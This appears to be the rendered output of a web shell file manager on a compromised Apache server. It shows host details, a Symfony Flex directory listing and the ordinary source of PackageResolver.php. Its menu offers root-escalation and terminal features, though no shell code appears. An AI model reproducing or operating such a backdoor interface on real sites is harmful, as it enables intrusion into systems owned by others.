Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
v3.cesa.co.za /
vendor /
symfony /
flex /
src /
Delete
Unzip
Name
Size
Permission
Date
Action
Command
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Configurator
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Event
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Unpack
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Update
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
.htaccess
237
B
-r-xr-xr-x
2026-08-17 03:12
Configurator.php
4.25
KB
-rwxrwxr-x
2025-11-16 09:38
Downloader.php
18.14
KB
-rwxrwxr-x
2025-11-16 09:38
Flex.php
33.68
KB
-rwxrwxr-x
2025-11-16 09:38
GithubApi.php
5.89
KB
-rwxrwxr-x
2025-11-16 09:38
InformationOperation.php
1.81
KB
-rwxrwxr-x
2025-11-16 09:38
Lock.php
1.83
KB
-rwxrwxr-x
2025-11-16 09:38
Options.php
4.2
KB
-rwxrwxr-x
2025-11-16 09:38
PackageFilter.php
5.71
KB
-rwxrwxr-x
2025-11-16 09:38
PackageJsonSynchronizer.php
15.59
KB
-rwxrwxr-x
2025-11-16 09:38
PackageResolver.php
5.79
KB
-rwxrwxr-x
2025-11-16 09:38
Path.php
966
B
-rwxrwxr-x
2025-11-16 09:38
Recipe.php
2.91
KB
-rwxrwxr-x
2025-11-16 09:38
Response.php
1.95
KB
-rwxrwxr-x
2025-11-16 09:38
ScriptExecutor.php
4.9
KB
-rwxrwxr-x
2025-11-16 09:38
SymfonyBundle.php
3.66
KB
-rwxrwxr-x
2025-11-16 09:38
SymfonyPackInstaller.php
478
B
-rwxrwxr-x
2025-11-16 09:38
Unpacker.php
8.55
KB
-rwxrwxr-x
2025-11-16 09:38
Save
Rename
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Flex; use Composer\Factory; use Composer\Package\Version\VersionParser; use Composer\Repository\PlatformRepository; use Composer\Semver\Constraint\MatchAllConstraint; /** * @author Fabien Potencier <fabien@symfony.com> */ class PackageResolver { private static $SYMFONY_VERSIONS = ['lts', 'previous', 'stable', 'next', 'dev']; private $downloader; public function __construct(Downloader $downloader) { $this->downloader = $downloader; } public function resolve(array $arguments = [], bool $isRequire = false): array { // first pass split on : and = to resolve package names $packages = []; foreach ($arguments as $i => $argument) { if ((false !== $pos = strpos($argument, ':')) || (false !== $pos = strpos($argument, '='))) { $package = $this->resolvePackageName(substr($argument, 0, $pos), $i, $isRequire); $version = substr($argument, $pos + 1); $packages[] = $package.':'.$version; } else { $packages[] = $this->resolvePackageName($argument, $i, $isRequire); } } // second pass to resolve versions $versionParser = new VersionParser(); $requires = []; $toGuess = []; foreach ($versionParser->parseNameVersionPairs($packages) as $package) { $version = $this->parseVersion($package['name'], $package['version'] ?? '', $isRequire); if ('' !== $version) { unset($toGuess[$package['name']]); } elseif (!isset($requires[$package['name']])) { $toGuess[$package['name']] = new MatchAllConstraint(); } $requires[$package['name']] = $package['name'].$version; } if ($toGuess && $isRequire) { foreach ($this->downloader->getSymfonyPacks($toGuess) as $package) { $requires[$package] .= ':*'; } } return array_values($requires); } public function parseVersion(string $package, string $version, bool $isRequire): string { $guess = 'guess' === ($version ?: 'guess'); if (!str_starts_with($package, 'symfony/')) { return $guess ? '' : ':'.$version; } $versions = $this->downloader->getVersions(); if (!isset($versions['splits'][$package])) { return $guess ? '' : ':'.$version; } if ($guess || '*' === $version) { try { $config = @json_decode(file_get_contents(Factory::getComposerFile()), true); } finally { if (!$isRequire || !isset($config['extra']['symfony']['require'])) { return ''; } } $version = $config['extra']['symfony']['require']; } elseif ('dev' === $version) { $version = '^'.$versions['dev-name'].'@dev'; } elseif ('next' === $version) { $version = '^'.$versions[$version].'@dev'; } elseif (\in_array($version, self::$SYMFONY_VERSIONS, true)) { $version = '^'.$versions[$version]; } return ':'.$version; } private function resolvePackageName(string $argument, int $position, bool $isRequire): string { $skippedPackages = ['mirrors', 'nothing', '']; if (!$isRequire) { $skippedPackages[] = 'lock'; } if (str_contains($argument, '/') || preg_match(PlatformRepository::PLATFORM_PACKAGE_REGEX, $argument) || preg_match('{(?<=[a-z0-9_/-])\*|\*(?=[a-z0-9_/-])}i', $argument) || \in_array($argument, $skippedPackages)) { return $argument; } $aliases = $this->downloader->getAliases(); if (isset($aliases[$argument])) { $argument = $aliases[$argument]; } else { // is it a version or an alias that does not exist? try { $versionParser = new VersionParser(); $versionParser->parseConstraints($argument); } catch (\UnexpectedValueException $e) { // is it a special Symfony version? if (!\in_array($argument, self::$SYMFONY_VERSIONS, true)) { $this->throwAlternatives($argument, $position); } } } return $argument; } /** * @throws \UnexpectedValueException */ private function throwAlternatives(string $argument, int $position) { $alternatives = []; foreach ($this->downloader->getAliases() as $alias => $package) { $lev = levenshtein($argument, $alias); if ($lev <= \strlen($argument) / 3 || ('' !== $argument && str_contains($alias, $argument))) { $alternatives[$package][] = $alias; } } // First position can only be a package name, not a version if ($alternatives || 0 === $position) { $message = \sprintf('"%s" is not a valid alias.', $argument); if ($alternatives) { if (1 === \count($alternatives)) { $message .= " Did you mean this:\n"; } else { $message .= " Did you mean one of these:\n"; } foreach ($alternatives as $package => $aliases) { $message .= \sprintf(" \"%s\", supported aliases: \"%s\"\n", $package, implode('", "', $aliases)); } } } else { $message = \sprintf('Could not parse version constraint "%s".', $argument); } throw new \UnexpectedValueException($message); } }